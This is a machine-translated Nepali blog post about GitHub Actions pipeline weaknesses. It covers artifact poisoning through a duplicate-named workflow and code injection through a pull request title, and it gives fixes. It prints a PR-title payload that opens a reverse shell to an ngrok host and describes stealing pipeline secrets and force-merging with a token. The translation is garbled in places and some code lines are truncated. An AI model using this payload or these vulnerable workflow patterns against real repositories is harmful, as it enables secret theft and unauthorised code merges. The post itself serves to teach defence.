अघिल्ला पोस्टहरूमा (हेर्नुहोस् अप्रत्यक्ष विषाक्तता Pipeline कार्यान्वयन I-PPE र विषाक्त Pipeline कार्यान्वयन PPE , हामीले मूल रूपमा PPE (विषाक्त) सँग व्यवहार गर्यौं Pipeline कार्यान्वयन): हामीले यो कसरी काम गर्छ, यसको प्रभाव, केही शोषणका साथै यसबाट बच्ने केही तरिकाहरू हेर्यौं।
यो पोस्टले अरू केही कुराहरूमा गहिरो डुब्छ CI/CD pipeline आर्टिफ्याक्ट पोइजनिङ र कोड इन्जेक्सन जस्ता कमजोरीहरू।
यो गर्नको लागि, हामी यसलाई कुनै न कुनै रूपमा PPE मा आधारित गर्नेछौं त्यसैले PPE को बारेमा हामीले के देख्यौं त्यसको द्रुत सारांश बनाऔं।
PPE मा अघिल्लो काम
संक्षेपमा भन्नुपर्दा, हामीले आधारभूत GitHub बाट सुरु गर्यौं pipeline योगदान गरिएको कोड निर्माण र परीक्षण गर्न a मार्फत pull request। यसका साथै, यसले केही जाँचहरू परिभाषित गर्दछ जुन, यदि पूरा भएमा, कोडलाई मुख्यधारा शाखामा मर्ज गर्नेछ। हामीले यसलाई नाम दिएका छौं परिदृश्य #१.

हाम्रो अघिल्लो पोस्टमा, हामीले यो आधारभूत कसरी प्रदर्शन गर्यौं pipeline थियो D-PPE र I-PPE दुवैको जोखिममा.
हामीले सफल भयौं D-PPE ठीक गर्नुहोस् by ट्रिगर घटना परिमार्जन गर्दै बाट अनुरोध_पुल्नुहोस् लाई अनुरोध_लक्ष्य_तान्नुहोस्, बनाउँदै pipeline D-PPE को लागि सुरक्षितसम्झनाको रूपमा, pipelinepull_request_target घटनामा ट्रिगर गरिएको s ले आधार कार्यान्वयन गर्नेछ pipeline कोड, होइन pipeline मा समावेश कोड pull request.
हामीले यसलाई नाम दियौं परिदृश्य #१.

यस परिमार्जनको परिणामस्वरूप, हामीले यो प्रदर्शन गर्यौं कि परिदृश्य #२ अझै पनि I-PPE को जोखिममा थियो.
यसलाई ठीक गर्न, हामीले निर्णय गर्यौं विभाजन गर्न pipeline दुईमा:
- पहिलो pipeline (CI निर्माण गर्नुहोस्) हुनेछ PR कोड जाँच गर्नुहोस् (यसलाई निर्माण गर्न), निर्माण गर्नुहोस् र एउटा कलाकृति उत्पन्न गर्नुहोस्।
- दोस्रो pipeline (CI परीक्षण गर्नुहोस्) हुनेछ आधार कोड जाँच गर्नुहोस् (शेल स्क्रिप्ट परिमार्जनबाट बच्न) र कलाकृति विरुद्ध मूल लिपिहरू कार्यान्वयन गर्नुहोस्।
- परीक्षण CI लाई सिङ्क्रोनाइज गर्न pipeline निर्माण CI पछि चलाउन pipeline, हामी प्रयोग गर्नेछौं कार्यप्रवाह_रन ट्रिगर
हामीले यसलाई नाम दियौं परिदृश्य #१.

दुबैको कोड पुन: प्राप्ति गरौं। pipelineयी परिमार्जनहरू अनुसार...
1st pipeline (सिआई निर्माण गर्नुहोस्):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (परीक्षण CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
कलाकृति विषाक्तता
माथि उल्लेख गरिए अनुसार CI/CD pipelines:
- pipeline CI निर्माण गर्नुहोस् is सुरक्षित दुबै लाई डी-पीपीई (कारणले अनुरोध_लक्ष्य_तान्नुहोस्) र आई-पीपीई (किनभने यसले अब शेल स्क्रिप्ट कार्यान्वयन गर्दैन)।
- pipeline CI परीक्षण गर्नुहोस् पनि सुरक्षित दुबै लाई डी-पीपीई (कारणले कार्यप्रवाह_रन) र आई-पीपीई (किनभने यसले मूल शेल स्क्रिप्ट प्राप्त गर्न आधार कोड जाँच गर्छ)
यस "समाधान" मा गहिरो डुबौं।
Pipeline CI परीक्षण गर्नुहोस् कलाकृतिलाई जिप फाइलको रूपमा डाउनलोड गर्दछ।
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
एकपटक अनजिप गरिसकेपछि, यसले "सुरक्षित" शेल स्क्रिप्ट कार्यान्वयन गर्छ। म किन "सुरक्षित" शेल स्क्रिप्ट भन्छु? किनभने अघिल्लो चरणमा, pipeline "आधार" कोड जाँच गर्छ, त्यसैले मूल स्क्रिप्ट कार्यस्थान फोल्डरमा राखिन्छ। त्यसकारण, जब pipeline पहिले डाउनलोड गरिएको बाइनरी प्रयोग गरेर चल्ने शेल स्क्रिप्ट कार्यान्वयन गर्छ।
त्यसो भए, के हो समस्या यो दृष्टिकोणले? समस्या आउँछ जब कुनै प्रयोगकर्ताले नयाँ "सिर्जना" गर्छ pipeline.
यदि प्रयोगकर्ताले नयाँ समावेश भएको PR खोल्छ भने pipeline, GitHub ले त्यो कार्यान्वयन गर्नेछ pipeline (केही सर्तहरू दिइएको छ, जस्तै हामीले अघिल्लोमा देख्यौं) पोस्ट).
यो दिइएको छ, यदि प्रयोगकर्ताले नयाँ सिर्जना गर्छ भने के हुन्छ? pipeline बिल्ड CI जस्तै नाम भएको? हो, यो अचम्मको छ, तर GitHub ले तपाईंलाई दुई सिर्जना गर्न अनुमति दिन्छ pipelineएउटै नाम भएको!!
याद गर्नुहोस् कि टेस्ट CI बिल्ड CI पछि कार्यान्वयन हुनेछ...
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
अचम्मको कुरा, किनकि अब दुई छन् pipelineउही नाम भएको, pipeline परीक्षण CI दुई पटक कार्यान्वयन हुनेछ: मूल पछि एक pipeline र "नयाँ" पछि अन्य pipeline.
ह्याकरले यसको फाइदा कसरी उठाउन सक्छ?
- पहिलो, दुर्भावनापूर्ण प्रयोगकर्ताले ह्याकर-नियन्त्रित सर्भरमा गोप्य पठाउन शेल स्क्रिप्ट परिमार्जन गर्न सक्छ।
- दोस्रो, नयाँ pipeline परिमार्जित शेल स्क्रिप्टलाई कलाकृतिमा प्रतिलिपि गर्न लाइन समावेश गर्दछ → कलाकारलाई विषाक्त पार्दैछ!!!
जब प्रयोगकर्ताले यी परिवर्तनहरू सहितको PR खोल्छ, "नयाँ" pipeline (विषाक्त कलाकृति अपलोड गर्दा) कार्यान्वयन गरिनेछ र CI तैनाथ गरिनेछ pipeline त्यसपछि कार्यान्वयन गरिनेछ, जसको परिणामस्वरूप "परिमार्जित" शेल स्क्रिप्टले "मूल" शेल स्क्रिप्टलाई अधिलेखन गर्दछ जुन मा अवस्थित छ pipeline कार्यक्षेत्र.

यसलाई हामी भन्छौं कलाकृति विषाक्तता, अर्थात् परिमार्जन (ह्याक) गर्ने क्षमता pipeline परिमार्जन मार्फत तर्क pipeline कलाकृति.
एक सम्भव छ उपचार एकदमै सीधा छ: कार्यस्थानको सबफोल्डरमा कलाकृतिलाई अनजिप गर्नाले "आधार" शेल स्क्रिप्ट ओभरराइट हुनबाट जोगिनेछ।.
कोड इंजेक्शन
आर्टिफ्याक्ट विषाक्तता बाहेक, के तपाईं माथिको कोडमा अन्य कुनै जोखिम देख्न सक्नुहुन्छ?
जाऔं!!
तपाईंले कोडमा देख्न सक्नुहुन्छ, pipeline बिल्ड CI ले बाइनरी बनाउँछ, यसले बाइनरीलाई a को रूपमा अपलोड गर्छ pipeline कलाकृति र, यसबाहेक, यसले केही अतिरिक्त डेटा अपलोड गर्दछ: PR शीर्षक र PR Id।
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
किन? किनभने PR मर्ज गर्न, तपाईंले तल देख्न सक्नुहुन्छ, Test CI pipeline PR लाई मर्ज गर्ने GitHub REST API प्रयोग गर्न PR id चाहिन्छ।
कसरी परीक्षण CI गर्छ pipeline त्यो PR ID प्राप्त गर्ने? पाठ फाइलहरूमा जानकारी साझा गर्ने (एक भाग pipeline कलाकृति) बीच जानकारी साझा गर्ने एक सामान्य तरिका हो pipelines. र ठ्याक्कै यही हो जुन यी pipelineगरिरहेका छन्।
echo "Merging .."
PR_ID=$(
कडा शब्दमा भन्नुपर्दा, PR मर्ज गर्न PR Id मात्र आवश्यक पर्दछ, तर pipeline प्रशासकले बिल्ड CI लाई PR शीर्षक पनि समावेश गर्ने निर्णय गरे ताकि परीक्षण CI pipeline PR Id र Title दुवै भएको केही जानकारी सन्देश प्रिन्ट गर्नेछ।
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
PR शीर्षक सधैं प्रयोगकर्ताबाट आउने डेटा हो र, त्यसैले, सधैं अविश्वसनीय मानिनुपर्छ।। त्यसैले pipeline त्यसरी नै व्यवहार गर्नुपर्छ र सुरक्षात्मक उपायहरू अपनाउनुपर्छ।
माथिको कोडमा, हामी PR शीर्षक प्रतिध्वनि गर्ने विशिष्ट सन्देश देख्न सक्छौं। यो केवल एक "echo" linux आदेश हो।
स्ट्रिङ इन्टरपोलेसन मार्फत, यदि शीर्षक "डमी शीर्षक" हो भने, Github ले आन्तरिक रूपमा एउटा स्क्रिप्ट उत्पन्न गर्दछ जसमा
echo ""a dummy title""
तर, यदि PR शीर्षक यस्तो भएको भए के हुन्थ्यो:
दुर्भावनापूर्ण शीर्षक” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && इको "स्क्रिप्ट यस्तो हुनेछ:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
ह्याकर-नियन्त्रित सर्भर विरुद्ध रिभर्स शेल खोल्ने परिणामस्वरूप।

त्यो रिभर्स शेल पहुँच गर्न प्रयोग गर्न सकिन्छ pipeline secrets (याद राख्नुहोस् कि Test CI विशेषाधिकार मोडमा चलिरहेको छ किनभने यो workflow_run द्वारा ट्रिगर भइरहेको छ त्यसैले यसको secrets मा पहुँच छ)।
तर, त्यो रिभर्स शेल मार्फत अरू के गर्न सकिन्छ?
CI परीक्षण कोड हेर्नुहोस्:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
तपाईंले परीक्षण CI मा देख्न सक्नुहुन्छ pipeline, कर्ल मर्ज कमाण्डले GITHUB_PAT को प्रयोग गरिरहेको छ (एक को रूपमा परिभाषित pipeline env var), त्यसैले धावकले GITHUB_PAT लाई वातावरण चरको रूपमा समावेश गर्दछ। यसबाहेक, यसले PR ID पढ्ने env var पनि सिर्जना गर्दछ।
त्यसैले ह्याकरले कर्ल कमाण्ड प्रतिलिपि गरेर रिभर्स शेलमा टाँस्नु पर्छ, PR लाई सिधै सुरक्षित शाखामा मर्ज गर्नु पर्छ।

यी सबैबाट बचाउन:
- लाई जोगिन अविश्वसनीय डेटाको साथ स्ट्रिङ इन्टरपोलेसन (जोखिममा कोड इन्जेक्सन) द्वारा परिभाषित गर्दै pipeline env vars मा इको आदेशहरूमा सिधै प्रयोग गर्नुको सट्टा
प्रयोग गर्नुको सट्टा:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
यो प्रयोग गर्नुहोस्:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- कोड इन्जेक्सन एक्सप्लोइट भए पनि, यदि तपाईंले राम्रोसँग गर्नुभएको भए कर्ल मर्ज कमाण्ड सफल हुने थिएन। तिम्रो रक्षा गर्यो pull requests केही अनिवार्य समीक्षा वा अनुमोदन मार्फत.
निष्कर्ष
यसलाई जोगाउन कुनै न कुनै रूपमा गाह्रो छ CI/CD pipelineको कन्फिगरेसन र प्राप्त गर्नुहोस् pipelineकमजोरीहरूबाट मुक्त छ।
यसको मतलब यो होइन CI/CD प्रणालीहरू (यस अवस्थामा GitHub जस्तै) आफैंमा कमजोर छन्। CI/CD प्रणालीहरूले कमजोरीहरूबाट सुरक्षा प्रदान गर्ने माध्यमहरू प्रदान गर्छन् ... तर ती सुरक्षाहरू कार्यान्वयन गर्नु व्यवस्थापकको जिम्मेवारी हो।
तर ... जबसम्म तपाईं यसको अस्तित्वको बारेमा सचेत हुनुहुन्न, तबसम्म तपाईं जोखिम समाधान गर्न सक्नुहुन्न !!!
अवश्य पनि, एक उच्च कुशल devops प्रशासकले यी सबै खतराहरूलाई ध्यानमा राखेर उचित रूपमा सुरक्षा गर्न सक्छ CI/CD pipelines, तर, तैपनि, यी सबै प्रकारका कमजोरीहरू पत्ता लगाउन उत्पादन प्रयोग गर्नु अत्यन्तै मूल्यवान छ। र अवश्य पनि यो कमजोरी हिरासत प्रक्रियालाई स्वचालित गर्न (उदाहरणका लागि, स्क्यान चलाउनुको अंशको रूपमा)। CI/CD pipelineहरू)।
यो दृष्टिकोणलाई "" भन्न सकिन्छ।सुरक्षा गेट”:
- नयाँ सिर्जना गर्नुहोस् pipeline (सुरक्षा गेट) जाँच गर्न CI/CD pipelineको कमजोरीहरू र अन्य CI बनाउनुहोस् pipelineसुरक्षा गेटको सफलतापूर्वक सम्पन्न भएपछि मात्र कार्यान्वयन गरिनेछ pipeline.
- सुरक्षा गेट pipelines ले जाँच गर्नेछ CI/CD pipelineको कमजोरीहरू र,
- यदि भल्न्स भेटिएमा, यो असफल हुनेछ र, त्यसैले, अर्को pipelines कार्यान्वयन गरिने छैन।
- यदि कुनै भल्न्स फेला परेन भने, pipeline सफल हुनेछ र अर्को pipelines सामान्य रूपमा कार्यान्वयन हुनेछ।








